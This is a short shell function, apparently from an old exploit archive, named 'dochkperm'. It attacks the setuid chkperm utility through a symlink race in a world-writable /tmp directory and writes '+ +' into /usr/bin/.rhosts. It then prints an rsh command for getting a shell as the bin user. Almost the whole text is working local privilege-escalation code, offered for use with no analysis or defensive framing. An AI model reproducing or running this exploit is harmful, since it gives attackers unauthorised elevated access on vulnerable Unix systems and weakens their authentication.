home *** CD-ROM | disk | FTP | other *** search
- function dochkperm {
-
- if [ -e /usr/bin/.rhosts ]; then
- echo " oOo Chkperm technique failed."
- echo " "
- exit 1
- else
- /bin/csh
- mkdir /tmp/few
- mkdir /tmp/few/lib
- chmod -R 777 /tmp/few
- setenv VMSYS /tmp/few
- umask 0000
- ln -s /usr/bin/.rhosts /tmp/few/lib/.facerc
- /usr/vmsys/bin/chkperm -l -u few
- echo "+ +" >> /usr/bin/.rhosts
-
- if [ -e /usr/bin/.rhosts ]; then
- echo " oOo Chkperm technique worked, use the following command to gain a bin shell.."
- echo " oOo rsh -l bin localhost csh -i"
- else
- echo " oOo Chkperm technique failed."
- echo " "
- exit 1
- fi
- rm /tmp/few/lib/.facerc
- rmdir /tmp/few/lib
- rmdir /tmp/few
- exit 0
- fi
- }
-